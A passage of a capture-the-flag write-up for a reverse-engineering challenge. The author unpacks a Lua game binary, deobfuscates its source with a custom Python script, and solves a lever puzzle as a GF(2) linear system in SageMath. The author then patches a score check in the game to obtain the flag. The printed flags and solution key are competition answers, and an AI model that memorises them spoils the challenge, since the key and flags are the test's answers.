and it gave us the flag CTF{1f8915fa52fbf862ba636d69f39427dd8aeb4a9e7b28afc5a36fd70d6db580ac}
world-of-flags: Rev
We receive a game, loading it with gdb, we see it unpacks some values in /tmp
Copying the unpacked values and running binwalk on the new binary SuperGame
, we can see it contains the source code for the app.
levels.lua
was heavily obfuscated with binary operations like bit.bxor(2448, 2532)
and normal maths operations, so I made a custom parser to decrypt
import re
def decode_addition(match):
a = int(match.group(1))
b = int(match.group(2))
result = a + b
return str(result)
def decode_band(match):
a = int(match.group(1))
b = int(match.group(2))
result = a & b
return str(result)
def decode_bor(match):
a = int(match.group(1))
b = int(match.group(2))
result = a | b
return str(result)
def decode_lshift(match):
a = int(match.group(1))
b = int(match.group(2))
result = a << b
return str(result)
def decode_multiplication(match):
a = int(match.group(1))
b = int(match.group(2))
result = a * b
return str(result)
def decode_rshift(match):
a = int(match.group(1))
b = int(match.group(2))
result = a >> b
return str(result)
def decode_subtraction(match):
a = int(match.group(1))
b = int(match.group(2))
result = a - b
return str(result)
def decode_bxor(match):
a = int(match.group(1))
b = int(match.group(2))
result = a ^ b
return str(result)
def decode_lua_string_custom(s):
s = s.strip('"')
s = re.sub(r'\\x([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
s = re.sub(r'\\(\d{1,3})', lambda m: chr(int(m.group(1), 10)), s)
return s
def decode_concatenated_string(match):
string_literals = re.findall(r'"((?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])+)"', match.group(0))
decoded = ''.join(decode_lua_string_custom('"' + part + '"') for part in string_literals)
return '"' + decoded + '"'
def decode_string_char(match):
numbers_str = match.group(1)
numbers = [int(x.strip()) for x in numbers_str.split(',') if x.strip()]
decoded = ''.join(chr(num) for num in numbers)
return '"' + decoded + '"'
with open('levels.lua', 'r') as infile:
content = infile.read()
pattern_addition = re.compile(r'\(\s*(\d+)\s*\+\s*(\d+)\s*\)')
pattern_band = re.compile(r'bit\.band\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_bor = re.compile(r'bit\.bor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_lshift = re.compile(r'bit\.lshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_multiplication = re.compile(r'\(\s*(\d+)\s*\*\s*(\d+)\s*\)')
pattern_rshift = re.compile(r'bit\.rshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_subtraction = re.compile(r'\(\s*(\d+)\s*-\s*(\d+)\s*\)')
pattern_bxor = re.compile(r'bit\.bxor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_string_custom = re.compile(
r'(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*")'
r'(?:\s*\.\.\s*(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*"))+'
)
#pattern_string_char = re.compile(r'_G\["string"\]\["char"\]\(\s*([\d,\s]+)\s*\)')
for i in range(30):
content = pattern_addition.sub(decode_addition, content)
content = pattern_band.sub(decode_band, content)
content = pattern_bor.sub(decode_bor, content)
content = pattern_lshift.sub(decode_lshift, content)
content = pattern_multiplication.sub(decode_multiplication, content)
content = pattern_rshift.sub(decode_rshift, content)
content = pattern_subtraction.sub(decode_subtraction, content)
content = pattern_bxor.sub(decode_bxor, content)
content = pattern_string_custom.sub(decode_concatenated_string, content)
#content = pattern_string_char.sub(decode_string_char, content)
with open('output.lua', 'w') as outfile:
outfile.write(content)
We could see that for level 3, it implemented a system of equations that added the binary values of some levers under GF(2)
and checked that each output is 1; for example, this was the first check
self.outputs[1] = ((self.levers[1].state and 1 or 0)+(self.levers[7].state and 1 or 0)+(self.levers[8].state and 1 or 0)+(self.levers[9].state and 1 or 0)+(self.levers[10].state and 1 or 0)+(self.levers[18].state and 1 or 0)+(self.levers[20].state and 1 or 0)+(self.levers[22].state and 1 or 0)+(self.levers[24].state and 1 or 0)+(self.levers[28].state and 1 or 0)+(self.levers[29].state and 1 or 0)+(self.levers[34].state and 1 or 0)+(self.levers[36].state and 1 or 0)+(self.levers[39].state and 1 or 0)+(self.levers[41].state and 1 or 0)+(self.levers[42].state and 1 or 0)+(self.levers[43].state and 1 or 0)+(self.levers[48].state and 1 or 0)+(self.levers[49].state and 1 or 0)+(self.levers[50].state and 1 or 0)+(self.levers[52].state and 1 or 0)+(self.levers[54].state and 1 or 0)+(self.levers[60].state and 1 or 0)+(self.levers[61].state and 1 or 0)+(self.levers[65].state and 1 or 0)+(self.levers[66].state and 1 or 0)+(self.levers[68].state and 1 or 0)+(self.levers[69].state and 1 or 0)+(self.levers[70].state and 1 or 0)+(self.levers[76].state and 1 or 0)+(self.levers[78].state and 1 or 0)+(self.levers[79].state and 1 or 0)+(self.levers[80].state and 1 or 0)+(self.levers[81].state and 1 or 0)+(self.levers[82].state and 1 or 0)+(self.levers[83].state and 1 or 0)+(self.levers[87].state and 1 or 0)+(self.levers[88].state and 1 or 0)+(self.levers[90].state and 1 or 0)+(self.levers[91].state and 1 or 0)+(self.levers[92].state and 1 or 0)+(self.levers[93].state and 1 or 0)+(self.levers[98].state and 1 or 0)+(self.levers[101].state and 1 or 0)+(self.levers[102].state and 1 or 0)+(self.levers[103].state and 1 or 0)+(self.levers[105].state and 1 or 0)+(self.levers[107].state and 1 or 0)+(self.levers[109].state and 1 or 0)+(self.levers[110].state and 1 or 0)+(self.levers[117].state and 1 or 0)+(self.levers[118].state and 1 or 0)+(self.levers[120].state and 1 or 0)+(self.levers[121].state and 1 or 0)+(self.levers[125].state and 1 or 0)+(self.levers[126].state and 1 or 0)+(self.levers[127].state and 1 or 0)+(self.levers[128].state and 1 or 0)) % 2
Since we are working under GF(2)
, we can easily solve this using solve_right
from SageMath. Used the following script
#!/usr/bin/env sage -python
import re
from sage.all import GF, Matrix, vector
filename = "st2.txt"
output_pattern = re.compile(r"self\.outputs\[(\d+)\]\s*=")
lever_pattern = re.compile(r"self\.levers\[(\d+)\]\.state")
output_constraints = {}
with open(filename, "r") as f:
for line in f:
line = line.strip()
if not line:
continue
out_match = output_pattern.search(line)
output_index = int(out_match.group(1))
lever_matches = lever_pattern.findall(line)
lever_indices = [int(i) for i in lever_matches]
output_constraints[output_index] = lever_indices
all_lever_indices = set()
for lever_list in output_constraints.values():
all_lever_indices.update(lever_list)
all_lever_indices = sorted(all_lever_indices)
lever_to_col = {lever: idx for idx, lever in enumerate(all_lever_indices)}
num_eq = len(output_constraints)
num_vars = len(all_lever_indices)
F = GF(2)
rows = []
b = []
for eq in sorted(output_constraints.keys()):
row = [0]*num_vars
for lever in output_constraints[eq]:
col = lever_to_col[lever]
row[col] = 1
rows.append(row)
b.append(1)
A = Matrix(F, rows)
b_vec = vector(F, b)
try:
sol = A.solve_right(b_vec)
print("Solution found:")
caca = []
for lever, col in lever_to_col.items():
print("lever {}: {}".format(lever, sol[col]))
caca.append(sol[col])
print(caca)
except Exception as e:
print("No solution exists or error during solving:", e)
The key was [1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1]
Now, since static decryption of the flag didn’t work for me, I patched level 2 of the game in the source code so that the door appears instantly by making the score appear instantly and setting the required score to 1.
This was the original code (some segments cut off)
self.targetWizzards = 137
if wiz.dead then
self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
self.doorSpawned = (7200 == 7200)
self.door.active = (4550 == 4550)
end
And this was my patched code
self.targetWizzards = 0
self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
self.doorSpawned = (7200 == 7200)
self.door.active = (4550 == 4550)
Now I rebuilt the game using the love engine and placed the key manually to receive the flag.